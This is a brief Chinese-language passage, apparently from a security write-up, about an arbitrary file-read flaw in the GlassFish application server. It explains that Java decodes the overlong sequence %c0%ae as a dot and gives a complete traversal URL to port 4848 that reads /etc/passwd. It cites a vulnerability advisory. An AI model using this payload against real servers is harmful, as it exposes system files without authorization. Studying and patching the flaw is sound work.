java把"%c0%ae"解析为"\uC0AE",最后转义为ASCCII字符"."
访问如下链接即可看到效果:
```
http://localhost:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
```
### 参考链接:
[《漏洞预警:应用服务器glassfish任意文件读取漏洞》](https://mp.weixin.qq.com/s?__biz=MzAwNTYwMjM3Mw==&mid=401676448&idx=1&sn=27231eed275dccdeb8c44e1cc6ac1f9a)
全部评论 (1)